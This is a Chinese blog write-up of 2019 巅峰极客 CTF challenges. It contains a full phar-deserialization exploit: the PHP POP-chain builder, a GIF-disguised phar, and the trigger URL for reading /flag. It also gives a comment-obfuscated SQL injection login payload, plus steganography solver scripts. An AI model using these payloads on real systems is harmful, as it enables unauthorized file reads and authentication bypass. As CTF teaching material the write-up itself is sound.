Virtua1's blog

2019巅峰极客-部分WP

字数统计: 2.1k阅读时长: 10 min
2019/10/20 Share

Web-upload

1、读取源码

读源码,刚开始以为利用Download但是过滤了所有文件名

利用file读文件,有过滤,一直返回hack 利用相对路径绕过

index.php

1
<?php 
2
header("content-type:text/html;charset=utf-8");  
3
include 'base.php';
4
?>

base.php

1
<?php 
2
    session_start(); 
3
?>

file.php

1
<?php 
2
header("content-type:text/html;charset=utf-8");  
3
include 'function.php'; 
4
include 'class.php';
5
$file = $_GET["file"] ? $_GET['file'] : ""; 
6
if(empty($file)) { 
7
    echo "<h2>There is no file to show!<h2/>"; 
8
}
9
if(preg_match('/http|https|file:|gopher|dict|\.\/|\.\.|flag/i',$file)) {
10
            die('hacker!'); 
11
}elseif(!preg_match('/\//i',$file))
12
{
13
    die('hacker!');
14
}
15
$show = new Show(); 
16
if(file_exists($file)) { 
17
    $show->source = $file; 
18
    $show->_show(); 
19
} else if (!empty($file)){ 
20
    die('file doesn\'t exists.'); 
21
} 
22
?>

function.php

1
<?php
2
//show_source(__FILE__); 
3
include "base.php"; 
4
header("Content-type: text/html;charset=utf-8"); 
5
error_reporting(0); 
6
function upload_file_do() { 
7
    global $_FILES; 
8
    $filename = md5($_FILES["file"]["name"]).".jpg"; 
9
    //mkdir("upload",0777); 
10
    if(file_exists("upload/" . $filename)) { 
11
        unlink($filename); 
12
    } 
13
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
14
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
15
} 
16
function upload_file() { 
17
    global $_FILES; 
18
    if(upload_file_check()) { 
19
        upload_file_do(); 
20
    } 
21
} 
22
function upload_file_check() { 
23
    global $_FILES; 
24
    $allowed_types = array("gif","jpeg","jpg","png"); 
25
    $temp = explode(".",$_FILES["file"]["name"]); 
26
    $extension = end($temp); 
27
    if(empty($extension)) { 
28
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
29
    } 
30
    else{ 
31
        if(in_array($extension,$allowed_types)) { 
32
            return true; 
33
        } 
34
        else { 
35
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
36
            return false; 
37
        } 
38
    } 
39
} 
40
?>

class.php

1
<?php
2
3
class Show
4
{
5
    public $source;
6
    public $str;
7
    public function __construct($file)
8
    {
9
        $text= $this->source;
10
        $text = base64_encode(file_get_contents($text));
11
        return $text;
12
    }
13
    public function __toString()
14
    {
15
        $text= $this->source;
16
        $text = base64_encode(file_get_contents($text));
17
        return $text;
18
    }
19
    public function __set($key,$value)
20
    {
21
        $this->$key = $value;
22
    }
23
    public function _show()
24
    {
25
        if(preg_match('/http|https|file:|gopher|dict|\.\.|flag/i',$this->source)) {
26
            die('hacker!');
27
        } else {
28
            highlight_file($this->source);
29
        }
30
        
31
    }
32
    public function __wakeup()
33
    {
34
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
35
            echo "hacker~";
36
            $this->source = "index.php";
37
        }
38
    }
39
}
40
class S6ow
41
{
42
    public $file;
43
    public $params;
44
    public function __construct()
45
    {
46
        $this->params = array();
47
    }
48
    public function __get($key)
49
    {
50
        return $this->params[$key];
51
    }
52
    public function __call($name, $arguments)
53
    {
54
        if($this->{$name})
55
            $this->{$this->{$name}}($arguments);
56
    }
57
    public function file_get($value)
58
    {
59
        echo $this->file;
60
    }
61
}
62
63
class Sh0w
64
{
65
    public $test;
66
    public $str;
67
    public function __construct($name)
68
    {
69
        $this->str = new Show('index.php');
70
        $this->str->source = $this->test;
71
72
    }
73
    public function __destruct()
74
    {
75
        $this->str->_show();
76
    }
77
}
78
?>

upload_file.php

1
<?php
2
include 'function.php'; 
3
upload_file(); 
4
?> 
5
<html> 
6
<head> 
7
<meta charest="utf-8"> 
8
<title>文件上传</title> 
9
</head> 
10
<body> 
11
<div align = "center"> 
12
        <h1>上传的文件保存在/upload/md5($_FILES["file"]["name"]).".jpg"</h1> 
13
</div> 
14
<style> 
15
    p{ margin:0 auto} 
16
</style> 
17
<div> 
18
<form action="upload_file.php" method="post" enctype="multipart/form-data"> 
19
    <label for="file">文件名:</label> 
20
    <input type="file" name="file" id="file"><br> 
21
    <input type="submit" name="submit" value="提交"> 
22
</div> 
23
24
25
</body> 
26
</html>
2、代码审计

审计上传的代码,发现直接是白名单验证:

image.png

再看其他代码,不难想phar反序列化,看下利用条件:

  • 可以上传文件 upload_file.php
  • 存在触发进行反序列化的函数 file_exists
  • 传入的file没有过滤关键字

那么接下来就是寻找pop链,发现读取文件的函数有 highlight_filefile_get_contents:

image.png

_show()方法的 highlight_file过滤了flag因此无法利用。

image.png

可以利用的file_get_contents只有__toString()方法。

__toString() 把类当作字符串使用时触发

发现S6ow类的file_get方法存在字符串操作

image.png

file_get方法没有调用,但是我们可以利用__call方法调用

image.png

__call() //在对象上下文中调用不可访问的方法时触发

Sh0w类的__destruct()方法会调用_show()方法,当 str 为S6ow方法,不存在_show()方法就会触发__call方法

__call会调用自身的 name 成员变量所指代的变量所指代的方法,会调用$this->_show,成功尝试调用类中不存在的对象,

会触发__get方法:

image.png

会调用 $this->params[$key] 只要将params设置为 array("_show" => "file_get")方法就可以调用file_get方法。

Sh0w类的__destruct()方法会在对象销毁时自动触发。

pop链: Sh0w类 __destruct() –> S6ow类 __call –> S6ow类 __get –> Show类 __toString

3、构造pop链
1
<?php
2
3
class Show
4
{
5
    public $source;
6
    public $str;
7
}
8
9
class S6ow
10
{
11
    public $file;
12
    public $params;
13
14
}
15
16
class Sh0w
17
{
18
    public $test;
19
    public $str;
20
}
21
22
$obj1 = new Sh0w();
23
$obj2 = new Show();
24
$obj3 = new S6ow();
25
$obj2 -> source = '/flag';
26
$obj3 -> file = $obj2;
27
$obj3 -> params = array("_show" => "file_get");
28
$obj1 -> str = $obj3;
29
?>
4、构造phar 修改后缀为gif
1
<?php
2
class Show
3
{
4
    public $source;
5
    public $str;
6
}
7
class S6ow
8
{
9
    public $file;
10
    public $params;
11
}
12
13
class Sh0w
14
{
15
    public $test;
16
    public $str;
17
}
18
$obj1 = new Sh0w();
19
$obj2 = new Show();
20
$obj3 = new S6ow();
21
$obj2 -> source = '/flag';
22
$obj3 -> file = $obj2;
23
$obj3 -> params = array("_show" => "file_get");
24
$obj1 -> str = $obj3;
25
26
$phar = new Phar('phar.phar');
27
$phar -> stopBuffering();
28
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
29
$phar -> addFromString('test.txt','test');
30
$phar -> setMetadata($obj1);
31
$phar -> stopBuffering();
32
copy("phar.phar","virtua1.gif");
33
?>
5、上传GIF phar协议读取flag

文件路径:/upload/md5($_FILES["file"]["name"]).".jpg"

1
file.php?file=phar://upload/7dea841c073bbd7abc6559346b64fe9e.jpg/1

image.png

靶场-aweb_1

1、信息收集

提示只有admin 会看到flag ,先注册任意账号测试

登陆后发现 会显示出 username

image.png

但是发现 注册 88@qq.com vvvv'/**/or/**/'1'='1 123456返回:

image.png

猜测输出时判断用户是不是admin 重新进行查询

不断测试 只要为or返回的都是test用户

测试and 利用admin'/**/and/**/'1'='1

发现用户已注册,换个绕过空格的姿势就可以了。

2、Get flag

注册 username=admin'/*!*/and/*!*/'1'='1

登陆得到flag

image.png

靶场-aweb_2

1、信息收集

和靶场1一样的界面

测试and 拼接语句同样用第一种方法 返回的还是flag1

image.png

查看注释发现提示:

1
A tool for admin is under construction /tool

访问/tool只有一个输入框 不知道怎么利用

Misc-签到

下载exe文件 修改后缀为 txt

根据格式找到 flag

image.png

也可以利用 strings命令 提出flag

Misc-MBP是最好的!

给的是dmg镜像文件,直接拿取证大师加载

image.png

不看提示还好,看了提示跑偏了,提取压缩包

1571495156550

直接纯数字爆破:密码:1568207249

image.png

Misc-steganography

利用binwalk分析图片:

image.png

可以发现存在 zip 和 word 分离,得到 leaf.zip 和 leaf.docx:

1
data = open('leaf.png','rb').read()[:0x4132E] #[0x4132E:]
2
f = open('leaf.docx','wb')
3
f.write(data)

leaf.zip 需要密码leaf.docx 为一堆base64

base64隐写解密:

1
def get_base64_diff_value(s1, s2):
2
    base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
3
    res = 0
4
    for i in xrange(len(s2)):
5
        if s1[i] != s2[i]:
6
            return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
7
    return res
8
9
10
def solve_stego():
11
    with open('c.txt', 'rb') as f:
12
        file_lines = f.readlines()
13
        bin_str = ''
14
        for line in file_lines:
15
            steg_line = line.replace('\n', '')
16
            norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '')
17
            diff = get_base64_diff_value(steg_line, norm_line)
18
            print diff
19
            pads_num = steg_line.count('=')
20
            if diff:
21
                bin_str += bin(diff)[2:].zfill(pads_num * 2)
22
            else:
23
                bin_str += '0' * pads_num * 2
24
            print goflag(bin_str)
25
26
27
def goflag(bin_str):
28
    res_str = ''
29
    for i in xrange(0, len(bin_str), 8):
30
        res_str += chr(int(bin_str[i:i + 8], 2))
31
    return res_str
32
33
34
if __name__ == '__main__':
35
    solve_stego()

得到压缩包密码:I4mtHek3y@

解压pyc文件,利用在线反编译得到py源码,提示:hint = 'I am not the reverse'

利用 pyc隐写,pyc隐写攻击

命令:

1
python3	stegosaurus.py	-x	leaf.pyc

得到后半部分flag:57f3-8cb4-1add2793f508}

猜测另一部分在分离出的word文档里,打开发现是空白的,放入winhex查看发现只有 20、09 两种字符

提取出字符, 20 转化为0、09 转化为1,然后二进制转字符串:

1
cip = "2009092020090920200909200909202020090920202020092009092020090909200909090920090920200909202009202020090909202020202009092020202020200909200909202020090920202009202009092020202020200909200920092009092020090920202009200909200920090920200920092009092020200909202009092009202020200909202009092020092009092009"
2
p1 = ''
3
j1 = 0
4
for i1 in range((len(cip))/2):
5
    #print str(i)+':'+cip[j:j+2]
6
    tmp1 = cip[j1:j1+2]
7
    if tmp1 == '20':
8
        p1 = p1 + '0'
9
    else:
10
        p1 = p1 + '1'
11
    j1 = j1 + 2
12
print p1
13
#01100110011011000110000101100111011110110011001000111000001100000011011000110001001100000011010101100110001011010110010101100011001101000011001100101101
14
15
p2 = ''
16
j2 = 0
17
for i2 in range(len(p1)/8):
18
    tmp2 = p1[j2:j2+8]
19
    #print tmp2
20
    #print chr(int(tmp2,2))
21
    p2 = p2 + chr(int(tmp2,2))
22
    j2 = j2 + 8
23
print p2
24
p3 = '57f3-8cb4-1add2793f508}'
25
flag = p2 + p3
26
print flag

这样就得到完整flag。

CATALOG
  1. 1. Web-upload
    1. 1.1. 1、读取源码
    2. 1.2. 2、代码审计
    3. 1.3. 3、构造pop链
    4. 1.4. 4、构造phar 修改后缀为gif
    5. 1.5. 5、上传GIF phar协议读取flag
  2. 2. 靶场-aweb_1
    1. 2.1. 1、信息收集
    2. 2.2. 2、Get flag
  3. 3. 靶场-aweb_2
    1. 3.1. 1、信息收集
  4. 4. Misc-签到
  5. 5. Misc-MBP是最好的!
  6. 6. Misc-steganography